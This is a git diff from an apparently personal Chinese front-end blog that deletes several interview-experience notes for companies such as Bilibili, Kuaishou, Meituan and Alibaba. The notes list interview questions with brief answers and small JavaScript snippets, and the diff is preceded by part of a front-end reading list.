[optimize-react-re-renders](https://kentcdodds.com/blog/optimize-react-re-renders) -- [如何对 React 函数式组件进行优化](https://juejin.im/post/5dd337985188252a1873730f) - -#### React 单元测试 - -- [how-to-test-custom-react-hooks](https://kentcdodds.com/blog/how-to-test-custom-react-hooks) -- [Introducing The React Testing Library](https://kentcdodds.com/blog/introducing-the-react-testing-library) -- [Testing Implementation Details](https://kentcdodds.com/blog/testing-implementation-details) - -#### React 和 TypeScript 结合使用 - -- [[2.7w字]我是这样搭建 React+Typescript项目环境的(上) - 掘金](https://juejin.cn/post/6860129883398668296#heading-3) - -## TypeScript - -- [深入理解 TypeScript | 深入理解 TypeScript](https://jkchao.github.io/typescript-book-chinese/) - -### 泛型 - -- [前端 - 你不知道的 TypeScript 泛型(万字长文,建议收藏)_个人文章 - SegmentFault 思否](https://segmentfault.com/a/1190000022993503) - -## Node.js - -- [深入Node.js的模块加载机制,手写require函数 - 掘金](https://juejin.cn/post/6866973719634542606) -- [轻松理解浏览器缓存(Koa缓存源码解析) - 掘金](https://juejin.cn/post/6844904133024022536) - -## 构建工具 - -- [深入浅出 Webpack · 深入浅出 Webpack](http://webpack.wuhaolin.cn/) - -- [webpack系列之一总览 · Issue #36 · DDFE/DDFE-blog](https://github.com/DDFE/DDFE-blog/issues/36) -- [[万字总结] 一文吃透 Webpack 核心原理 - 知乎](https://zhuanlan.zhihu.com/p/363928061) - -## 性能优化 - -- [user-centric-performance-metrics](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics) - -- [详谈层合成(composite)](https://juejin.im/entry/59dc9aedf265da43200232f9) -- [让你的网页更丝滑](https://zhuanlan.zhihu.com/p/66398148) - -- [Why remove time slicing from vue3?](https://github.com/vuejs/rfcs/issues/89) -- [前端性能优化之浏览器渲染优化 —— 打造60FPS页面](https://github.com/fi3ework/blog/issues/9) - -## 场景应用 - -- [前端主题切换方案](https://juejin.cn/post/7134594122391748615) - -## DevOps - -- [CI/CD是什么?如何理解持续集成、持续交付和持续部署](https://www.redhat.com/zh/topics/devops/what-is-ci-cd) -- [前端测试之Jest深入浅出 - 掘金](https://juejin.cn/post/6844904196244766728#heading-36) -- [GitHub Actions自动化部署前端项目指南 - 知乎](https://zhuanlan.zhihu.com/p/433426848) - -## 计网 - -- [小林coding](https://xiaolincoding.com/) - -### HTTP - -- [前端基础篇之HTTP协议 - 掘金](https://juejin.cn/post/6844903844216832007) - -## 书籍 :book: - -- [JavaScript权威指南(原书第7版) ](https://book.douban.com/subject/35396470/) -- [JavaScript高级程序设计(第4版) ](https://book.douban.com/subject/35175321/) -- [你不知道的JavaScript(上卷) ](https://book.douban.com/subject/26351021/) -- [Vue.js技术内幕 ](https://book.douban.com/subject/36092368/) -- [CSS权威指南(第三版) ](https://book.douban.com/subject/2308234/) -- [CSS选择器世界](https://book.douban.com/subject/34846688/) -- [高性能JavaScript ](https://book.douban.com/subject/5362856/) - - - -> 逐步完善ing... - diff --git "a/src/\351\235\242\347\273\217/\345\223\224\345\223\251\345\223\224\345\223\251\351\235\242\347\273\217.md" "b/src/\351\235\242\347\273\217/\345\223\224\345\223\251\345\223\224\345\223\251\351\235\242\347\273\217.md" deleted file mode 100644 index d5e1b0ed..00000000 --- "a/src/\351\235\242\347\273\217/\345\223\224\345\223\251\345\223\224\345\223\251\351\235\242\347\273\217.md" +++ /dev/null @@ -1,87 +0,0 @@ ---- -date: 2022-11-07 -category: -- 面经 ---- - -# 哔哩哔哩/B站 秋招前端面经(已offer) - -秋招结束啦,最终选择了阿B的offer。做个秋招复盘,对自己面试过程中遇到的问题做个记录,补缺补漏,希望可以帮到大家~ - -## 一面(60min) - -- 自我介绍 -- ES6新特性?闭包、箭头函数? -- CJS、AMD、UMD、ESM等了解吗?有什么区别? -- 还了解哪些打包工具? -- TS 中interface和type的区别? -- TS 中装饰器是什么,都有哪些类型,如何工作? -- TS 装饰器能不能修改Class成员外的一个单独函数? -- CSS 自定义变量了解过吗? -- Less和Sass了解过吗?他们中的自定义变量有什么区别? -- 浏览器事件循环和Node.js中的事件循环区别? -- 什么是防抖节流?应用场景有哪些? -- Web Worker和Service Worker? -- Vue响应式原理? -- 讲讲BFC吧? -- 浏览器缓存? -- 浏览器本地存储方案、跨标签通信方案? -- 手撕两题: - 1. 通过正则实现 `String.prototype.trim()`,补充问题:正则中括号的作用,`String.prototype.replace()`第二个入参如果是个函数呢? - 2. 实现一个数组洗牌函数 shuffle - - > 写太快了,多聊一会 -- 前端常见攻击手段及其防御方法?(XSS、CSRF、DDos等) -- SEO优化方法? -- 反问 - -## 二面(50min) - -- 自我介绍 -- 介绍一下你的项目,哪个花费时间很长(难点),如何实现的? -- Webpack了解多少,有没有动手写过loader和plugin? -- 如果写一个loader,如何修改生产的Source Map? -- 移动端安全区域,比如IOS的刘海屏、工具栏高度等,如何获取安全区域? -- Hybrid App 如何与其内置 WebView 进行通信? -- WebView 内H5应用如何调取 Native 能力? -- Web Components了解吗?什么是Shadow DOM? -- 你的网站通过什么部署的?有没有进行什么性能优化? -- 什么是跨域?平常开发中如何解决跨域问题? -- Node.js服务端如何配置CORS?需要配置哪些头部字段? -- Node.js服务端部署方案? -- Node.js如何开辟子进程?如何进行进程通信? -- 说一下Monorepo,为什么使用?有没有了解为什么pnpm会更快? -- 浏览器输入URL发生了什么?全流程。 -- 如何解决开发过程中遇到的问题,如何定位BUG,如何调试? -- 实习团队规模,人数组成,如何分工? -- 最近关注的前端前沿技术? -- 如何学习前端?平常看啥书? -- 你认为现在B站发展怎么样? -- 反问 - -## 三面(55min) - -- 自我介绍 - -- 说一下一个如何解决线上BUG? -- 说一下开发迭代过程,需求到上线? -- Vue2、3之间的区别?那和React之间有什么区别? -- 有没有写过Webpack的plugin? -- 开发过程中性能优化手段? -- 谷歌核心Web性能指标有没有了解过(LCP、FID、CLS 三大指标等)? -- Performance API? -- CICD? -- 如果现在有个新项目,如何进行技术栈选择? -- 对B站Web端有没有了解? -- 如果让你实现视频实时弹幕,如何实现? -- 你提到SVG、Canvas等方案、他们之间有什么区别、你认为哪种好? -- 怎么选择的前端?软工这块前端课程应该很少? -- 如何学习前端?如何复盘和记录对前端的学习情况? -- 你所写的Blog用的啥技术?如何部署? -- 对B站了解怎么样?你认为B站有什么值得改善的或者做的好的地方? -- 未来3-5年的职业规划如何? -- 反问 - - - -引流:腾讯,华为,字节,百度,阿里巴巴,海康威视,科大讯飞,大疆,哔哩哔哩,B站 diff --git "a/src/\351\235\242\347\273\217/\345\277\253\346\211\213\351\235\242\347\273\217.md" "b/src/\351\235\242\347\273\217/\345\277\253\346\211\213\351\235\242\347\273\217.md" deleted file mode 100644 index bb31c07c..00000000 --- "a/src/\351\235\242\347\273\217/\345\277\253\346\211\213\351\235\242\347\273\217.md" +++ /dev/null @@ -1,88 +0,0 @@ ---- -date: 2022-06-07 -category: -- 面经 ---- - -# 快手暑期实习一面面经 - -一面顺利通过,二面挂了。二面没有做记录,所以没有放~ - -## **前端研发实习生(Docs)-协同办公中心** - -### 一面 45min - -面试官迟到了,然后看简历,边看边解答一些问题 - -看到了Node.js 和TS,噩梦开始了 - -1. 我看你写Node的Web挺多的,我们来写个中间件吧?express的跨域中间件(手撕) - -2. (打断)顺便问一下跨域怎么理解的?什么是跨域? - -3. (打断)我很疑惑你为啥写了(req.method=="OPTIONS") 可以解释一下吗(我按照模板写的啊!) - -4. 那问你一下PUT方法的应用场景?(提了一下RESTFUL) - -5. 那我们现在来基于Vue实现一个吸顶组件,不用手撕,说一下思来? - -6. 那除了使用CSS的position: sticky 使用原生JS如何实现? - -7. TS了解多少,怎么用的?怎么理解泛型? - -8. 面向对象编程了解过吗?使用过React吗?画风一转至Vue不需要,React有类型组件 - -9. 手撕封装axios的get的请求,要求10s后reject,不用基础超时配置项怎么写?(手撕) - - ```js - import axios from 'axios' - - const server = axios.create({}) - - export default async function (url, data) { - return new Promise((resolve, reject) => { - const timer = setTimeout(() => { - reject('Time out') - }, 10000) - server.request({ - method: 'get', - url, - data - }).then((res) => { - clearInterval(timer) - resolve(res) - }) - }) - } - ``` - - -10. 那我们再来一个输出题(就考了异常,没有事件循环) - - 尝试还原了一下,提了一下原型链 - - ```js - function a() { - console.error("a") - } - - function b() { - throw 'b' - } - - async function c() { - this.c = 'c' - function hello() { - console.log('c') - } - } - - // 分别输出什么,一起会输出什么 b在程序中会? - c.haha() - b() - a() - ``` - -11. 反问业务场景和技术栈(时间充裕) - -结束,掌握主动权进行扩展说明,所以面试问的题目可能比较少。但最终owner面没有通过,原因主要是说作为科班同学应该对计算机基础知识有更牢固的掌握。有点可惜,408内容还是要补一下的。 diff --git "a/src/\351\235\242\347\273\217/\346\230\237\347\275\221\351\224\220\346\215\267\351\235\242\347\273\217.md" "b/src/\351\235\242\347\273\217/\346\230\237\347\275\221\351\224\220\346\215\267\351\235\242\347\273\217.md" deleted file mode 100644 index 0ca29e4f..00000000 --- "a/src/\351\235\242\347\273\217/\346\230\237\347\275\221\351\224\220\346\215\267\351\235\242\347\273\217.md" +++ /dev/null @@ -1,75 +0,0 @@ ---- -date: 2022-11-12 -category: -- 面经 ---- - -# 星网锐捷面经 - -前端实习一面(主管+技术面),无算法面,当日直接通过 - -### 浏览器原理 - -- 浏览器如何解析定位URL? -- HTML资源如何引入? -- 浏览器如何渲染前端文件? -- [浏览器的回流与重绘 (Reflow & Repaint)](https://juejin.cn/post/6844903569087266823) - -### 性能优化 - -- 如何减少首屏加载时间 - -### npm - -- 工具包初始化 npm init -- package.json 内容,相关参数 -- 入口函数 main.js -- 初始化项目结构内(模块化) - -### 模块化 - -- CMD,AMD -- Commodjs -- ES moudel -- Webpack 有哪些功能,都有哪些作用 -- 你所知道的模块化工具 -- Webpack 如何工作运作 - -### Vue(包含Vue3) - -- Vue3更新内容,有何变化 -- Vue3响应式原理,为何比Vue2快 -- Vue2对数组的响应式实现是直接重写 -- Vue3响应式一定需要通过返回值吗? -- Vue3的setup如何在内部操作响应式 - -### JS - -- this指向问题 -- 闭包优缺点 -- 原型链 -- JS如何继承 - -### HTML - -- 好像没有 - -### CSS - -- 盒子模型 -- 消除浮动 -- 几个定位 -- 如何隐藏元素 -- 一个奇怪的描述(面试官没有描述清除) -- z-index - -### 家常部分 - -- 实习时间 -- 学科绩点和考试情况,有没有挂科 - -### 反问 - -- 业务场景 -- 星网锐捷集团相关部门区别,企业和上班地点 -- 企业技术栈 diff --git "a/src/\351\235\242\347\273\217/\346\234\264\346\234\264\351\235\242\347\273\217.md" "b/src/\351\235\242\347\273\217/\346\234\264\346\234\264\351\235\242\347\273\217.md" deleted file mode 100644 index 004aa084..00000000 --- "a/src/\351\235\242\347\273\217/\346\234\264\346\234\264\351\235\242\347\273\217.md" +++ /dev/null @@ -1,28 +0,0 @@ ---- -date: 2022-11-12 -category: -- 面经 ---- - -# 朴朴秋招前端一二面面经(已offer) - -福州疫情原因,均为腾讯会议线上进行。 - -## 一面 (30min) - - - - - -## 二面(30min) - -> HR旁听,所以没有HR面; - -1. 手撕:封装Promise函数,传入请求函数和时间,请求失败则重复请求,超三次失败。请求总时长超过传入时间则失败。 -2. 如何学习前端?看什么书? -3. 最近关注的技术前沿? -4. 微前端的两种主要实现方式,他们俩之间有什么区别? -5. 手撕:TS 工具类型 `FirstChart` -6. 手撕:使用memo等缓存组件或者组件参数,并写出等效替代方案。 -7. 讨论一下我们线下笔试的最后一题,有什么更优解法,说一下这几种解法的时间复杂度? -8. 反问 diff --git "a/src/\351\235\242\347\273\217/\347\276\216\345\233\242\351\235\242\347\273\217.md" "b/src/\351\235\242\347\273\217/\347\276\216\345\233\242\351\235\242\347\273\217.md" deleted file mode 100644 index 11c346b9..00000000 --- "a/src/\351\235\242\347\273\217/\347\276\216\345\233\242\351\235\242\347\273\217.md" +++ /dev/null @@ -1,71 +0,0 @@ ---- -date: 2022-06-07 -category: -- 面经 ---- - -# 美团暑期实习一二面面经(HR面挂) - -这个是我暑期实习面试美团的面经,翻出来复盘分享一下~ - -## 企业平台一面 45min - -1. 部门介绍 -2. 自我介绍 -3. 怎么学前端的,接触多久了? -4. 从去年实习到现在前端学习的怎么样?有什么心路历程? -5. 锐捷做主业务线吗?线上项目吗? -6. js基本数据类型? -8. `typeof null`,`typeof undefined` -9. var const let -10. 变量提升?原因? -11. CSS优先级顺序,问了数值...就是id 100 这种,纳闷,位数记错了 -12. 标签选择器 > 通配符选择器 -13. 吸顶组件(又来!)CSS or JavaScript实现均可 -14. 深拷贝浅拷贝及其实现 -15. Vue 生命周期,提了一下keep-alive -16. Vue 单向数据流?我说了双向绑定,单项数据流,他好像没听到?? -17. Vue 计算属性和监听,应用场景 -18. 手撕找出数组第一个重复数字([牛客原题](https://www.nowcoder.com/questionTerminal/623a5ac0ea5b4e5f95552655361ae0a8)) -19. 反问,最早啥时候可以到岗 - -## 企业平台二面 55min - -1. 自我介绍 -2. 实习经历描述 -3. 接触前端时长,如何学习? -4. 运杰集团实习项目难点?比较花时间的地方?实现方法? -5. 为什么认为这个部分比较难,花时间?水印实现方法?(Canvas 和 普通标签实现) -6. 在锐捷做的什么项目?项目难点?做的Node.js中间件是做什么用的 -7. Node.js 进程通信?(丫的,腾讯实习也问这个) -7. Node.js 模块化和ES 6 的区别? -8. 为什么已有实习还来投美团? -9. 如何修复和定位线上BUG?(比如获取API异常和控制台报错?) - -**Vue,因为部门技术栈是这个** - -10. Vue2 Vue3区别(这个我就说了8min) - -11. Vue路由管理如何实现?如何切换路由? - -12. hash / history ,如何识别? - -13. 从路由A至路由B之前发生了什么? - -14. 路由加载过程? - -15. 扩展讲诉了生命周期 + keep-alive + onload 和使用场景 - -16. 自己做过的前端性能优化?代码编写方面 - -17. 手撕 [387. 字符串中的第一个唯一字符](https://leetcode-cn.com/problems/first-unique-character-in-a-string/) - - O(n)方法实现了,但是他可能看成O(n^2)了,我就再写了一个 - -18. 反问:转正机会和实习时间 - -19. 让我回去等HR联系,还有个HR面 - -## HR面 - -一些常见问题,周五感谢信,显而易见的排序挂~ diff --git "a/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\345\277\253\346\211\213\351\235\242\350\257\225\351\242\230\346\200\273\347\273\223.md" "b/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\345\277\253\346\211\213\351\235\242\350\257\225\351\242\230\346\200\273\347\273\223.md" deleted file mode 100644 index 7d666667..00000000 --- "a/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\345\277\253\346\211\213\351\235\242\350\257\225\351\242\230\346\200\273\347\273\223.md" +++ /dev/null @@ -1,167 +0,0 @@ ---- -icon: edit -date: 2022-03-15 -category: -- 面经 -- 快手 ---- - -# 快手面试题总结 - -## CSS - -**BFC** - -直译成:块级格式化上下文,是一个独立的渲染区域,并且有一定的布局规则。BFC 区域不会与 float box 重叠。BFC 是页面上的一个独立容器,子元素不会影响到外面计算 BFC 的高度时,浮动元素也会参与计算。 - -根元素 -float 不为 none 的元素 -position 为 fixed 和 absolute 的元素 -display 为 inline-block、table-cell、table-caption,flex,inline-flex 的元素 -overflow 不为 visible 的元 - -**优先级** - -![image-20220331121644231](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220331121644231.png) - -**判定以下输出** - -```js -function A(){ - this.a=1 - return{ - a:2 - } -} -A.prototype.a=3 -const a = new A() - -console.log(a.a) // 强绑定返回对象的创建 2 -console.log(a.constructor) // 构造函数 [Function: Object] -console.log(a.__proto__) // 构造函数原型 [Object: null prototype] {} -``` - -```js -function A(){ - this.a=1 -} -A.prototype.a=3 -const a = new A() - -console.log(a.a) // 强绑定对象a的构造,访问this.a -console.log(a.constructor) // 构造函数 [Function: A] -console.log(a.__proto__) // 构造函数原型 { a: 3 } 被指定 -``` - -**[剑指 Offer 52. 两个链表的第一个公共节点](https://leetcode-cn.com/problems/liang-ge-lian-biao-de-di-yi-ge-gong-gong-jie-dian-lcof/)**/ [**160. 相交链表**](https://leetcode-cn.com/problems/intersection-of-two-linked-lists/) - -> 哈希集合 - -```js -var getIntersectionNode = function(headA, headB) { - const visited = new Set(); - let temp = headA; - while (temp !== null) { - visited.add(temp); - temp = temp.next; - } - temp = headB; - while (temp !== null) { - if (visited.has(temp)) { - return temp; - } - temp = temp.next; - } - return null; -}; -``` - -> 双指针 - -```js -var getIntersectionNode = function(headA, headB) { - if (headA === null || headB === null) { - return null; - } - let pA = headA, pB = headB; - while (pA !== pB) { - pA = pA === null ? headB : pA.next; - pB = pB === null ? headA : pB.next; - } - return pA; -}; -``` - -> 节点标记 - -## Node - -```js -const http = require('http'); - -const server = http.createServer(function (req, res) { - res.writeHead(200, {'Content-Type': 'text/plain'}); - res.end('Hello World\n'); -}) - -server.listen(1337,'127.0.0.1'); // 不一定加上地址 -console.log('Server running at http://127.0.0.1:1337/'); -``` - -## 计算机网络 - -**CA如何工作** - -CA是证书的签发机构,它是PKI的核心。CA是负责签发证书、认证证书、管理已颁发证书的机关。它要制定政策和具体步骤来验证、识别用户身份,并对用户证书进行签名,以确保证书持有者的身份和公钥的拥有权。 - -CA 也拥有一个证书(内含公钥)和私钥。网上的公众用户通过验证 CA 的签字从而信任 CA ,任何人都可以得到 CA 的证书(含公钥),用以验证它所签发的证书。 - -如果用户想得到一份属于自己的证书,他应先向 CA 提出申请。在 CA 判明申请者的身份后,便为他分配一个公钥,并且 CA 将该公钥与申请者的身份信息绑在一起,并为之签字后,便形成证书发给申请者。 - -如果一个用户想鉴别另一个证书的真伪,他就用 CA 的公钥对那个证书上的签字进行验证,一旦验证通过,该证书就被认为是有效的。 - -用户向本地 - -DNS 服务器发起请求属于递归请求,本地 DNS 服务器向各级域名服务器发起请求属于迭代请求。 - -### Webpack - -**热更新实现原理** - -依赖express的本地socket服务 - -### Vue - -Vue实现数据双向绑定主要利用的就是: **数据劫持**和**发布订阅模式**。 -所谓发布订阅模式就是,定义了对象间的一种**一对多的关系**,**让多个观察者对象同时监听某一个主题对象,当一个对象发生改变时,所有依赖于它的对象都将得到通知**。 -所谓数据劫持,就是**利用JavaScript的访问器属性**,即**Object.defineProperty()方法**,当对对象的属性进行赋值时,Object.defineProperty就可以**通过set方法劫持到数据的变化**,然后**通知发布者(主题对象)去通知所有观察者**,观察者收到通知后,就会对视图进行更新。 - -可以使用 OPTIONS 方法对服务器发起请求,以检测服务器支持哪些 HTTP 方法: - -### TypeScript中interface和type - -1、声明方式不同 - -2、类型别名(type)还可以用于其他类型,如基本类型(原始值)、联合类型、元组 - -3、扩展时语法不同,且interface无法扩展联合类型的type - -4、interface可以定义多次,并将被视为单个接口(合并所有声明的成员);type不可以 - -5、interfac可以extends class,class也可以implements interface - -6、type支持计算属性,生成映射类型,interface不可以 - -- type 能使用 in 关键字生成映射类型,但 interface 不行 -- 语法与索引签名的语法类型,内部使用了 for .. in - -### 进程间通信方式 - -- 匿名管道( pipe ):管道是一种半双工的通信方式,数据只能单向流动,而且只能在具有亲缘关系的进程间使用。进程的亲缘关系通常是指父子进程关系。 -- 高级管道( popen ):将另一个程序当做一个新的进程在当前程序进程中启动,则它算是当前程序的子进程,这种方式我们成为高级管道方式。 -- 有名管道 (FIFO) : 有名管道也是半双工的通信方式,但是它允许无亲缘关系进程间的通信。 -- 消息队列( message queue ) : 消息队列是由消息的链表,存放在内核中并由消息队列标识符标识。消息队列克服了信号传递信息少、管道只能承载无格式字节流以及缓冲区大小受限等缺点。 -- 信号量( semophore ) : 信号量是一个计数器,可以用来控制多个进程对共享资源的访问。 -- 信号 ( sinal ) : 信号是一种比较复杂的通信方式,用于通知接收进程某个事件已经发生。 -- 共享内存( shared memory ) :共享内存就是映射一段能被其他进程所访问的内存,这段共享内存由一个进程创建,但多个进程都可以访问。 -- 套接字( socket ) : 套接口也是一种进程间通信机制,与其他通信机制不同的是,它可用于不同机器间的进程通信。 diff --git "a/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\347\276\216\345\233\242\351\235\242\347\273\217.md" "b/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\347\276\216\345\233\242\351\235\242\347\273\217.md" deleted file mode 100644 index bbaa0ff6..00000000 --- "a/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\347\276\216\345\233\242\351\235\242\347\273\217.md" +++ /dev/null @@ -1,194 +0,0 @@ ---- -icon: edit -date: 2022-03-15 -category: -- 面经 -- 开水团 ---- - -# 美团面经 - -> Q&A会对部分题目进行解答 - -### 北京美团地图部门 - -1. 对前端的应用领域专门理解? -2. 为什么JavaScript要设计成单线程 -3. JavaScript闭包? -4. JavaScript异步变成 -5. Promise如何实现?怎么设计的?简单说说PromiseA+实现思路 -6. 进程和线程的区别? -7. 浏览器运行时有几个进程? -8. 浏览器为什么要多进程? -9. 为什么要有线程?线程的出现解决了什么? -10. 进程之间是怎么进行通信的? -11. 你知道的浏览器内核? -12. 浏览器渲染过程? -13. 输入URL到显示(网络方面?,补浏览器方面) -14. 三大加密算法 -15. 数字证书是什么? -16. HTTP状态码404和500 -17. 算法DFS 深度优先 -18. 最长递增子序列 - - - -### 美团前端实习一面 - -1. 基本数据类型和复杂数据类型的区别 - -2. 判断是不是数组类型 - - ``` - Array.isArray() - .constructor - instanceof - toString() - ``` - -3. 原型链 - -4. 问了个输出的题 - - ```js - console.log(a) //undefined - var a = 100 - function fn(name) { - a = 20 - console.log(name, 20) //'zhang',20 - var a - } - fn('zhang') - ``` - - ```js - var name = 'zhang' - function fn(name) { - console.log(name) //undefined - } - fn() - ``` - -5. bind、call、apply的区别 - - > call、apply、bind都是改变this指向的方法 - > call: - > 如果不传参数,或者第一个参数是null或nudefined,this都指向window - > 严格模式:第一个参数是谁,this就指向谁,包括null和undefined,如果不传参数this就是undefined - > apply:和call基本上一致,唯一区别在于传参方式 - > apply把需要传递给fn的参数放到一个数组(或者类数组)中传递进去,虽然写的是一个数组,但是也相当于给fn一个个的传递 - > bind:语法和call一模一样,区别在于bind不会立即执行,bind不兼容IE6~8 - > 它返回的是一个函数,需要再次调用,才能获得bind后的结果 - -6. 闭包用过吗? - -7. promise用过哪些方法?all、finally、race咋用? - - all全部执行,结果以数组返回,有一个reject就会全部reject - - finally最终都会执行 - - race抢先返回执行成功的内容 - -8. css选择器的优先级怎么算? - - > 内联1000,id100 ,class伪类属性10,伪元素标签1,其余位0(比如继承的类型) !important 最高 - -9. 写一下水平居中的方法,讲一下position - -10. 输入url后发生了什么? - - > (1)首先会对 URL 进行解析,分析所需要使用的传输协议和请求的资源的路径。如果输入的 URL 中的协议或者主机名不合法,将会把地址栏中输入的内容传递给搜索引擎。如果没有问题,浏览器会检查 URL 中是否出现了非法字符,如果存在非法字符,则对非法字符进行转义后再进行下一过程。 - > - > (2)浏览器会判断所请求的资源是否在缓存里,如果请求的资源在缓存里并且没有失效,那么就直接使用,否则向服务器发起新 的请求。 - > - > (3)下一步我们首先需要获取的是输入的 URL 中的域名的 IP 地址,首先会判断本地是否有该域名的 IP 地址的缓存,如果有则使用,如果没有则向本地 DNS 服务器发起请求。本地 DNS 服务器也会先检查是否存在缓存,如果没有就会先向根域名服务器发起请求,获得负责的顶级域名服务器的地址后,再向顶级域名服务器请求,然后获得负责的权威域名服务器的地址后,再向权威域名服务器发起请求,最终获得域名的 IP 地址后,本地 DNS 服务器再将这个 IP 地址返回给请求的用 户。用户向本地DNS 服务器发起请求属于递归请求,本地 DNS 服务器向各级域名服务器发起请求属于迭代请求。 - > - > (4)当浏览器得到 IP 地址后,数据传输还需要知道目的主机 MAC 地址,因为应用层下发数据给传输层,TCP 协议会指定源端口号和目的端口号,然后下发给网络层。网络层会将本机地址作为源地址,获取的 IP 地址作为目的地址。然后将下发给数据链路层,数据链路层的发送需要加入通信双方的 MAC 地址,我们本机的 MAC 地址作为源 MAC 地址,目的 MAC 地址需要分情况处理,通过将 IP 地址与我们本机的子网掩码相与,我们可以判断我们是否与请求主机在同一个子网里,如果在同一个子网里,我们可以使用 APR 协议获取到目的主机的 MAC 地址,如果我们不在一个子网里,那么我们的请求应该转发给我们的网关,由它代为转发,此时同样可以通过 ARP 协议来获取网关的 MAC 地址,此时目的主机的 MAC 地址应 该为网关的地址。 - > - > (5)下面是 TCP 建立连接的三次握手的过程,首先客户端向服务器发送一个 SYN 连接请求报文段和一个随机序号,服务端接 - > 收到请求后向服务器端发送一个 SYN ACK报文段,确认连接请求,并且也向客户端发送一个随机序号。客户端接收服务器的 - > 确认应答后,进入连接建立的状态,同时向服务器也发送一个 ACK 确认报文段,服务器端接收到确认后,也进入连接建立 - > 状态,此时双方的连接就建立起来了。 - > - > (6)如果使用的是 HTTPS 协议,在通信前还存在 TLS 的一个四次握手的过程。首先由客户端向服务器端发送使用的协议的版本号、一个随机数和可以使用的加密方法。服务器端收到后,确认加密的方法,也向客户端发送一个随机数和自己的数字证书。客户端收到后,首先检查数字证书是否有效,如果有效,则再生成一个随机数,并使用证书中的公钥对随机数加密,然后发送给服务器端,并且还会提供一个前面所有内容的 hash 值供服务器端检验。服务器端接收后,使用自己的私钥对数据解密,同时向客户端发送一个前面所有内容的 hash 值供客户端检验。这个时候双方都有了三个随机数,按照之前所约定的加 - > 密方法,使用这三个随机数生成一把秘钥,以后双方通信前,就使用这个秘钥对数据进行加密后再传输。 - > - > (7)当页面请求发送到服务器端后,服务器端会返回一个 html 文件作为响应,浏览器接收到响应后,开始对 html 文件进行 - > 解析,开始页面的渲染过程。 - > - > (8)浏览器首先会根据 html 文件构建 DOM 树,根据解析到的 css 文件构建 CSSOM 树,如果遇到 script 标签,则判端 - > 是否含有 defer 或者 async 属性,要不然 script 的加载和执行会造成页面的渲染的阻塞。当 DOM 树和 CSSOM 树建 - > 立好后,根据它们来构建渲染树。渲染树构建好后,会根据渲染树来进行布局。布局完成后,最后使用浏览器的 UI 接口对页面进行绘制。这个时候整个页面就显示出来了。 - > - > (9)最后一步是 TCP 断开连接的四次挥手过程。 - -11. 前端收到html、css、js后怎么处理 - - > 根据html构建dom树,根据css构建cssom树,如果遇到script标签,要阻塞页面的渲染(下载并同步执行,是否并行下载根标签属性有关),说一下解决方法,最后根据dom树和cssom树构建渲染树,最后渲染上去 - -12. 重绘和回流 - -13. 为什么用虚拟dom - - > 大多数场景下,虚拟 DOM 能给你的页面过得去的性能,并且提供给你更爽的开发模式开发效率的提升 - > - > **跨平台的问题**:虚拟 DOM 是对渲染内容的一层抽象描述,这就使得视图层和渲染层做了解耦。这层对渲染层的描述可以是 web、native、小程序等多端的,在不同端可能只需要一份代码就可以 work 。毕竟连 Vue3 也将 DOM 操作的内容提在一个独立的 runtime-dom.js 模块中,目的就是在多端操作渲染层的内容从而实现跨平台的可能性。 - -14. 用过vue?created和mounted的区别? - - > created:在模板渲染成html前调用,即通常初始化某些属性值,然后再渲染成视图。 - > - > mounted:在模板渲染成html后调用,通常是初始化页面完成后,再对html的dom节点进行一些需要的操作。 - -15. 有两个蚊香,一个蚊香烧完是1h,怎么获得45min - - > 两个同时点,一根只点燃一方,一根两头同时燃,这样就能得到30min,这个时候另一个烧了一半,此时点燃另一头,就能再得15min - -16. 编程题: [二叉树的最大深度](https://www.nowcoder.com/jump/super-jump/word?word=二叉树的最大深度) - - ```js - function fn(root, depth) { - if (root) { - const depthL = fn(root.left, depth + 1) - const depthR = fn(root.right, depth + 1) - return Math.max(depthL, depthR) - } - else { - return depth - } - } - ``` - -17. 编程题:数组是否有重复值,写一下有哪些方法 - -18. 那写一下快排吧 - - ```js - function quickSort(arr, low, high) { - if (low < high) { - let index = getIndex(arr, low, high); - quickSort(arr, low, index - 1); - quickSort(arr, index + 1, high); - } - } - - function getIndex(arr, low, high) { - let temp = arr[low] - while (low < high) { - while (low < high && arr[high] >= temp) { - high-- - } - arr[low] = arr[high] - while (low < high && arr[low] <= temp) { - low++ - } - arr[high] = arr[low] - } - arr[low] = temp - return low - } - ``` - - - diff --git "a/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\351\230\277\351\207\214\351\235\242\347\273\217\351\227\256\351\242\230\351\233\206\345\220\210.md" "b/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\351\230\277\351\207\214\351\235\242\347\273\217\351\227\256\351\242\230\351\233\206\345\220\210.md" deleted file mode 100644 index 990ca259..00000000 --- "a/src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\351\230\277\351\207\214\351\235\242\347\273\217\351\227\256\351\242\230\351\233\206\345\220\210.md" +++ /dev/null @@ -1,49 +0,0 @@ -# 阿里面经问题集合 - -> 收入一些不太会的 - -## 阿里巴巴ICBU - -1. webpack怎么提高构建速度? - - 减少 resolve 的解析 - - 把 loader 应用的文件范围缩小,例如 node_modules 目录下的其他依赖类库文件,基本就是直接编译好可用的代码,无须再经过 loader 处理了 - - 利用缓存提升构建速度,利用缓存提升构建速度 - -2. 外部扩展(externals) 排除啥? - - 就是webpack可以不处理应用的某些依赖库,使用externals配置后,依旧可以在代码中通过CMD、AMD或者window/global全局的方式访问。 - - 有时我们希望我们通过script引入的库,如用CDN的方式引入的jquery,我们在使用时,依旧用require的方式来使用,但是却不希望webpack将它又编译进文件中。 - -3. Person是**构造**函数**, Person.**prototype** 是**原型对象(提供共有方法)**, person**是实例**, 实例可以通过\_proto_找到原型对象。 - -4. 每个对象都有\__proto__ ( **除了** var obj = Object.create(null) ) - - 每个函数对象都有 prototype。这个属性用于实现“实例化”(函数对象也是对象所以也有\__proto__,即 Func.\__proto__ = Function.prototype) - - 函数对象的 prototype 所指向的也是对象,所以也有 \_\_proto\_\_,即 Func**.prototype.\__proto__**。这个属性用于实现“继承” - -5. const a = 2 - - ```js - const a = 2 - console.log(a.prototype) undefined - console.log(a.__proto__) {} - ``` - -6. instanceof 手写 - - **关键点:** 